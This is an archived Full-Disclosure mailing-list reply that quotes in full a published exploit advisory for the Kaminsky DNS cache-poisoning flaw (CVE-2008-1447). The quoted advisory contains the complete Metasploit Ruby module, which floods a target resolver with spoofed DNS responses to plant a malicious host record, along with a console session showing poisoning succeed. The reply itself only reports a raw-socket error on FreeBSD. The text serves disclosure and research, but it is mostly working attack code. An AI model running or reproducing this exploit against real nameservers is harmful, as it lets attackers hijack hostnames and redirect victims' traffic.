lists.openwall.net   lists  /  announce  owl-users  owl-dev  john-users  john-dev  passwdqc-users  yescrypt  popa3d-users  /  oss-security  kernel-hardening  musl  sabotage  tlsify  passwords  /  crypt-dev  xvendor  /  Bugtraq  Full-Disclosure  linux-kernel  linux-netdev  linux-ext4  linux-hardening  linux-cve-announce  PHC 
Open Source and information security mailing list archives
 
Hash Suite: Windows password security audit tool. GUI, reports in PDF.
[<prev] [next>] [<thread-prev] [thread-next>] [day] [month] [year] [list]
Message-ID: <48895415.4040304@micom.mng.net>
Date: Fri, 25 Jul 2008 12:18:29 +0800
From: Ganbold <ganbold@...om.mng.net>
To: "I)ruid" <druid@...ghq.org>
Cc: full-disclosure@...ts.grok.org.uk,
	bugtraq <bugtraq@...urityfocus.com>
Subject: Re: [Full-disclosure] CAU-EX-2008-0002: Kaminsky DNS Cache Poisoning
 Flaw Exploit

I)ruid wrote:
>                       ____      ____     __    __
>                      /    \    /    \   |  |  |  |
>         ----====####/  /\__\##/  /\  \##|  |##|  |####====----
>                    |  |      |  |__|  | |  |  |  |
>                    |  |  ___ |   __   | |  |  |  |
>   ------======######\  \/  /#|  |##|  |#|  |##|  |######======------
>                      \____/  |__|  |__|  \______/
>                                                      
>                     Computer Academic Underground
>                         http://www.caughq.org
>                             Exploit Code
>
> ===============/========================================================
> Exploit ID:     CAU-EX-2008-0002
> Release Date:   2008.07.23
> Title:          bailiwicked_host.rb
> Description:    Kaminsky DNS Cache Poisoning Flaw Exploit
> Tested:         BIND 9.4.1-9.4.2
> Attributes:     Remote, Poison, Resolver, Metasploit
> Exploit URL:    http://www.caughq.org/exploits/CAU-EX-2008-0002.txt
> Author/Email:   I)ruid <druid (@) caughq.org>
>                 H D Moore <hdm (@) metasploit.com>
> ===============/========================================================
>
> Description
> ===========
>
> This exploit targets a fairly ubiquitous flaw in DNS implementations
> which allow the insertion of malicious DNS records into the cache of the
> target nameserver.  This exploit caches a single malicious host entry
> into the target nameserver.  By causing the target nameserver to query
> for random hostnames at the target domain, the attacker can spoof a
> response to the target server including an answer for the query, an
> authority server record, and an additional record for that server,
> causing target nameserver to insert the additional record into the
> cache.
>
>
> Example
> =======
>
> # /msf3/msfconsole
>
>                 _                  _       _ _
>                | |                | |     (_) |
>  _ __ ___   ___| |_ __ _ ___ _ __ | | ___  _| |_
> | '_ ` _ \ / _ \ __/ _` / __| '_ \| |/ _ \| | __|
> | | | | | |  __/ || (_| \__ \ |_) | | (_) | | |_
> |_| |_| |_|\___|\__\__,_|___/ .__/|_|\___/|_|\__|
>                             | |
>                             |_|
>
>
>        =[ msf v3.2-release
> + -- --=[ 298 exploits - 124 payloads
> + -- --=[ 18 encoders - 6 nops
>        =[ 72 aux
>
> msf > use auxiliary/spoof/dns/bailiwicked_host
> msf auxiliary(bailiwicked_host) > show options
>
> Module options:
>
>    Name      Current Setting    Required  Description
>    ----      ---------------    --------  -----------
>    HOSTNAME  pwned.example.com  yes       Hostname to hijack
>    NEWADDR   1.3.3.7            yes       New address for hostname
>    RECONS    208.67.222.222     yes       Nameserver used for reconnaissance
>    RHOST                        yes       The target address
>    SRCPORT                      yes       The target server's source query port (0 for automatic)
>    XIDS      10                 yes       Number of XIDs to try for each query
>
> msf auxiliary(bailiwicked_host) > set RHOST A.B.C.D
> RHOST => A.B.C.D
>
> msf auxiliary(bailiwicked_host) > check
> [*] Using the Metasploit service to verify exploitability...
> [*]  >> ADDRESS: A.B.C.D  PORT: 48178
> [*]  >> ADDRESS: A.B.C.D  PORT: 48178
> [*]  >> ADDRESS: A.B.C.D  PORT: 48178
> [*]  >> ADDRESS: A.B.C.D  PORT: 48178
> [*]  >> ADDRESS: A.B.C.D  PORT: 48178
> [*] FAIL: This server uses static source ports and is vulnerable to poisoning
>
> msf auxiliary(bailiwicked_host) > set SRCPORT 0
> SRCPORT => 0
>
> msf auxiliary(bailiwicked_host) > run
> [*] Switching to target port 48178 based on Metasploit service
> [*] Targeting nameserver A.B.C.D
> [*] Querying recon nameserver for example.com.'s nameservers...
> [*]  Got answer with 2 answers, 0 authorities
> [*]  Got an NS record: example.com.            172643  IN      NS      ns89.worldnic.com.
> [*] Querying recon nameserver for address of ns89.worldnic.com....
> [*]  Got answer with 1 answers, 0 authorities
> [*]  Got an A record: ns89.worldnic.com.      172794  IN      A       205.178.190.45
> [*] Checking Authoritativeness: Querying 205.178.190.45 for example.com....
> [*]   ns89.worldnic.com. is authoritative for example.com., adding to list of nameservers to spoof as
> [*]  Got an NS record: example.com.            172643  IN      NS      ns90.worldnic.com.
> [*] Querying recon nameserver for address of ns90.worldnic.com....
> [*]  Got answer with 1 answers, 0 authorities
> [*]  Got an A record: ns90.worldnic.com.      172794  IN      A       205.178.144.45
> [*] Checking Authoritativeness: Querying 205.178.144.45 for example.com....
> [*]   ns90.worldnic.com. is authoritative for example.com., adding to list of nameservers to spoof as
> [*] Attempting to inject a poison record for pwned.example.com. into A.B.C.D:48178...
> [*] Sent 1000 queries and 20000 spoofed responses...
> [*] Sent 2000 queries and 40000 spoofed responses...
> [*] Sent 3000 queries and 60000 spoofed responses...
> [*] Sent 4000 queries and 80000 spoofed responses...
> [*] Sent 5000 queries and 100000 spoofed responses...
> [*] Sent 6000 queries and 120000 spoofed responses...
> [*] Sent 7000 queries and 140000 spoofed responses...
> [*] Poisoning successful after 7000 attempts: pwned.example.com == 1.3.3.7
> [*] Auxiliary module execution completed
> msf auxiliary(bailiwicked_host) > 
>
> msf auxiliary(bailiwicked_host) > nslookup pwned.example.com A.B.C.D
> [*] exec: nslookup pwned.example.com A.B.C.D
>
> Server:         A.B.C.D
> Address:        A.B.C.D#53
>
> Non-authoritative answer:
> Name:   pwned.example.com
> Address: 1.3.3.7
>
>
> Credits
> =======
>
> Dan Kaminsky is credited with originally discovering this vulnerability.
>
>
> References
> ==========
>
> http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-1447
> http://www.kb.cert.org/vuls/id/800113
>
>
> Metasploit
> ==========
>
> require 'msf/core'
> require 'net/dns'
> require 'scruby'
> require 'resolv'
>
> module Msf
>
> class Auxiliary::Spoof::Dns::BailiWickedHost < Msf::Auxiliary
>
> 	include Exploit::Remote::Ip
>
> 	def initialize(info = {})
> 		super(update_info(info,	
> 			'Name'           => 'DNS BailiWicked Host Attack',
> 			'Description'    => %q{
> 				This exploit attacks a fairly ubiquitous flaw in DNS implementations which 
> 				Dan Kaminsky found and disclosed ~Jul 2008.  This exploit caches a single
> 				malicious host entry into the target nameserver by sending random sub-domain
> 				queries to the target DNS server coupled with spoofed replies to those
> 				queries from the authoritative nameservers for the domain which contain a
> 				malicious host entry for the hostname to be poisoned in the authority and
> 				additional records sections.  Eventually, a guessed ID will match and the
> 				spoofed packet will get accepted, and due to the additional hostname entry
> 				being within bailiwick constraints of the original request the malicious host
> 				entry will get cached.
> 			},
> 			'Author'         => [ 'I)ruid', 'hdm' ],
> 			'License'        => MSF_LICENSE,
> 			'Version'        => '$Revision: 5585 $',
> 			'References'     =>
> 				[
> 					[ 'CVE', '2008-1447' ],
> 					[ 'US-CERT-VU', '8000113' ],
> 					[ 'URL', 'http://www.caughq.org/exploits/CAU-EX-2008-0002.txt' ],
> 				],
> 			'Privileged'     => true,
> 			'Targets'        => 
> 				[
> 					["BIND",  
> 						{
> 							'Arch' => ARCH_X86,
> 							'Platform' => 'linux',
> 						},
> 					],
> 				],
> 			'DisclosureDate' => 'Jul 21 2008'
> 			))
> 			
> 			register_options(
> 				[
> 					OptPort.new('SRCPORT', [true, "The target server's source query port (0 for automatic)", nil]),
> 					OptString.new('HOSTNAME', [true, 'Hostname to hijack', 'pwned.example.com']),
> 					OptAddress.new('NEWADDR', [true, 'New address for hostname', '1.3.3.7']),
> 					OptAddress.new('RECONS', [true, 'Nameserver used for reconnaissance', '208.67.222.222']),
> 					OptInt.new('XIDS', [true, 'Number of XIDs to try for each query', 10]),
> 					OptInt.new('TTL', [true, 'TTL for the malicious host entry', 31337]),
> 				], self.class)
> 					
> 	end
> 	
> 	def auxiliary_commands
> 		return { "check" => "Determine if the specified DNS server (RHOST) is vulnerable" }
> 	end
>
> 	def cmd_check(*args)
> 		targ = args[0] || rhost()
> 		if(not (targ and targ.length > 0))
> 			print_status("usage: check [dns-server]")
> 			return
> 		end
>
> 		print_status("Using the Metasploit service to verify exploitability...")
> 		srv_sock = Rex::Socket.create_udp(
> 			'PeerHost' => targ,
> 			'PeerPort' => 53
> 		)		
>
> 		random = false
> 		ports  = []
> 		lport  = nil
> 		
> 		1.upto(5) do |i|
> 		
> 			req = Resolv::DNS::Message.new
> 			txt = "spoofprobe-check-#{i}-#{$$}#{(rand()*1000000).to_i}.red.metasploit.com"
> 			req.add_question(txt, Resolv::DNS::Resource::IN::TXT)
> 			req.rd = 1
> 			
> 			srv_sock.put(req.encode)
> 			res, addr = srv_sock.recvfrom()
> 			
>
> 			if res and res.length > 0
> 				res = Resolv::DNS::Message.decode(res)
> 				res.each_answer do |name, ttl, data|
> 					if (name.to_s == txt and data.strings.join('') =~ /^([^\s]+)\s+.*red\.metasploit\.com/m)
> 						t_addr, t_port = $1.split(':')
>
> 						print_status(" >> ADDRESS: #{t_addr}  PORT: #{t_port}")
> 						t_port = t_port.to_i
> 						if(lport and lport != t_port)
> 							random = true
> 						end
> 						lport  = t_port
> 						ports << t_port
> 					end
> 				end
> 			end	
> 		end
> 		
> 		srv_sock.close
> 		
> 		if(ports.length < 5)
> 			print_status("UNKNOWN: This server did not reply to our vulnerability check requests")
> 			return
> 		end
> 		
> 		if(random)
> 			print_status("PASS: This server does not use a static source port. Ports: #{ports.join(", ")}")
> 			print_status("      This server may still be exploitable, but not by this tool.")
> 		else
> 			print_status("FAIL: This server uses static source ports and is vulnerable to poisoning")
> 		end
> 	end
> 		
> 	def run
> 		target   = rhost()
> 		source   = Rex::Socket.source_address(target)
> 		sport    = datastore['SRCPORT']
> 		hostname = datastore['HOSTNAME'] + '.'
> 		address  = datastore['NEWADDR']
> 		recons   = datastore['RECONS']
> 		xids     = datastore['XIDS'].to_i
> 		ttl      = datastore['TTL'].to_i
> 		xidbase  = rand(4)+2*10000
>
> 		domain = hostname.match(/[^\x2e]+\x2e[^\x2e]+\x2e$/)[0]
>
> 		srv_sock = Rex::Socket.create_udp(
> 			'PeerHost' => target,
> 			'PeerPort' => 53
> 		)
>
> 		# Get the source port via the metasploit service if it's not set
> 		if sport.to_i == 0
> 			req = Resolv::DNS::Message.new
> 			txt = "spoofprobe-#{$$}#{(rand()*1000000).to_i}.red.metasploit.com"
> 			req.add_question(txt, Resolv::DNS::Resource::IN::TXT)
> 			req.rd = 1
> 			
> 			srv_sock.put(req.encode)
> 			res, addr = srv_sock.recvfrom()
> 			
> 			if res and res.length > 0
> 				res = Resolv::DNS::Message.decode(res)
> 				res.each_answer do |name, ttl, data|
> 					if (name.to_s == txt and data.strings.join('') =~ /^([^\s]+)\s+.*red\.metasploit\.com/m)
> 						t_addr, t_port = $1.split(':')
> 						sport = t_port.to_i
>
> 						print_status("Switching to target port #{sport} based on Metasploit service")
> 						if target != t_addr
> 							print_status("Warning: target address #{target} is not the same as the nameserver's query source address #{t_addr}!")
> 						end
> 					end
> 				end
> 			end
> 		end
>
> 		# Verify its not already cached
> 		begin
> 			query = Resolv::DNS::Message.new
> 			query.add_question(hostname, Resolv::DNS::Resource::IN::A)
> 			query.rd = 0
>
> 			begin
> 				cached = false
> 				srv_sock.put(query.encode)
> 				answer, addr = srv_sock.recvfrom()
>
> 				if answer and answer.length > 0
> 					answer = Resolv::DNS::Message.decode(answer)
> 					answer.each_answer do |name, ttl, data|
> 						if((name.to_s + ".") == hostname  and data.address.to_s == address)
> 							t = Time.now + ttl
> 							print_status("Failure: This hostname is already in the target cache: #{name} == #{address}")
> 							print_status("         Cache entry expires on #{t.to_s}... sleeping.")
> 							cached = true
> 							sleep ttl
> 						end
> 					end
> 				end
> 			end until not cached
> 		rescue ::Interrupt
> 			raise $!
> 		rescue ::Exception => e
> 			print_status("Error checking the DNS name: #{e.class} #{e} #{e.backtrace}")
> 		end
>
> 		res0 = Net::DNS::Resolver.new(:nameservers => [recons], :dns_search => false, :recursive => true) # reconnaissance resolver
>
> 		print_status "Targeting nameserver #{target} for injection of #{hostname} as #{address}"
>
> 		# Look up the nameservers for the domain
> 		print_status "Querying recon nameserver for #{domain}'s nameservers..."
> 		answer0 = res0.send(domain, Net::DNS::NS)
> 		#print_status " Got answer with #{answer0.header.anCount} answers, #{answer0.header.nsCount} authorities"
>
> 		barbs = [] # storage for nameservers
> 		answer0.answer.each do |rr0|
> 			print_status " Got an #{rr0.type} record: #{rr0.inspect}"
> 			if rr0.type == 'NS'
> 				print_status "  Querying recon nameserver for address of #{rr0.nsdname}.."
> 				answer1 = res0.send(rr0.nsdname) # get the ns's answer for the hostname
> 				#print_status " Got answer with #{answer1.header.anCount} answers, #{answer1.header.nsCount} authorities"
> 				answer1.answer.each do |rr1|
> 					print_status "   Got an #{rr1.type} record: #{rr1.inspect}"
> 					res2 = Net::DNS::Resolver.new(:nameservers => rr1.address, :dns_search => false, :recursive => false, :retry => 1) 
> 					print_status "    Checking Authoritativeness: Querying #{rr1.address} for #{domain}..."
> 					answer2 = res2.send(domain)
> 					if answer2 and answer2.header.auth? and answer2.header.anCount >= 1
> 						nsrec = {:name => rr0.nsdname, :addr => rr1.address}
> 						barbs << nsrec
> 						print_status "    #{rr0.nsdname} is authoritative for #{domain}, adding to list of nameservers to spoof as"
> 					end
> 				end
> 			end	
> 		end
>
> 		if barbs.length == 0
> 			print_status( "No DNS servers found.")
> 			srv_sock.close
> 			disconnect_ip
> 			return
> 		end
>
> 		# Flood the target with queries and spoofed responses, one will eventually hit
> 		queries = 0
> 		responses = 0
>
> 		connect_ip if not ip_sock
>
> 		print_status( "Attempting to inject a poison record for #{hostname} into #{target}:#{sport}...")
>
> 		while true
> 			randhost = Rex::Text.rand_text_alphanumeric(12) + '.' + domain # randomize the hostname
>
> 			# Send spoofed query
> 			req = Resolv::DNS::Message.new
> 			req.id = rand(2**16)
> 			req.add_question(randhost, Resolv::DNS::Resource::IN::A)
>
> 			req.rd = 1
>
> 			buff = (
> 				Scruby::IP.new(
> 					#:src   => barbs[0][:addr].to_s,
> 					:src   => source,
> 					:dst   => target,
> 					:proto => 17
> 				)/Scruby::UDP.new(
> 					:sport => (rand((2**16)-1024)+1024).to_i,
> 					:dport => 53
> 				)/req.encode
> 			).to_net
> 			ip_sock.sendto(buff, target)
> 			queries += 1
> 			
> 			# Send evil spoofed answer from ALL nameservers (barbs[*][:addr])
> 			req.add_answer(randhost, ttl, Resolv::DNS::Resource::IN::A.new(address))
> 			req.add_authority(domain, ttl, Resolv::DNS::Resource::IN::NS.new(Resolv::DNS::Name.create(hostname)))
> 			req.add_additional(hostname, ttl, Resolv::DNS::Resource::IN::A.new(address))
> 			req.qr = 1
> 			req.ra = 1
>
> 			xidbase.upto(xidbase+xids-1) do |id|
> 				req.id = id
> 				barbs.each do |barb|
> 					buff = (
> 						Scruby::IP.new(
> 							#:src   => barbs[i][:addr].to_s,
> 							:src   => barb[:addr].to_s,
> 							:dst   => target,
> 							:proto => 17
> 						)/Scruby::UDP.new(
> 							:sport => 53,
> 							:dport => sport.to_i
> 						)/req.encode
> 					).to_net
> 					ip_sock.sendto(buff, target)
> 					responses += 1
> 				end
> 			end
>
> 			# status update
> 			if queries % 1000 == 0
> 				print_status("Sent #{queries} queries and #{responses} spoofed responses...")
> 			end
>
> 			# every so often, check and see if the target is poisoned...
> 			if queries % 250 == 0 
> 				begin
> 					query = Resolv::DNS::Message.new
> 					query.add_question(hostname, Resolv::DNS::Resource::IN::A)
> 					query.rd = 0
> 	
> 					srv_sock.put(query.encode)
> 					answer, addr = srv_sock.recvfrom()
>
> 					if answer and answer.length > 0
> 						answer = Resolv::DNS::Message.decode(answer)
> 						answer.each_answer do |name, ttl, data|
> 							if((name.to_s + ".") == hostname and data.address.to_s == address)
> 								print_status("Poisoning successful after #{queries} attempts: #{name} == #{address}")
> 								disconnect_ip
> 								return
> 							end
> 						end
> 					end
> 				rescue ::Interrupt
> 					raise $!
> 				rescue ::Exception => e
> 					print_status("Error querying the DNS name: #{e.class} #{e} #{e.backtrace}")
> 				end
> 			end
>
> 		end
>
> 	end
>
> end
> end
>   


On FreeBSD 7.0-STABLE (updated on Fri May 23) it fails to create raw 
socket even when running as root:
...
[-] This module is configured to use a raw IP socket. On Unix systems, 
only the root user is allowed to create raw sockets.Please run the 
framework as root to use this module.
 
[*] Attempting to inject poison records for example.com.'s nameservers 
into 202.72.241.4:55088...
[-] Auxiliary failed: undefined method `sendto' for nil:NilClass



>
>   
> ------------------------------------------------------------------------
>
> _______________________________________________
> Full-Disclosure - We believe in it.
> Charter: http://lists.grok.org.uk/full-disclosure-charter.html
> Hosted and sponsored by Secunia - http://secunia.com/


-- 
A prisoner of war is a man who tries to kill you and fails, and then 
asks you not to kill him. -- Sir Winston Churchill, 1952

Powered by blists - more mailing lists

Powered by Openwall GNU/*/Linux Powered by OpenVZ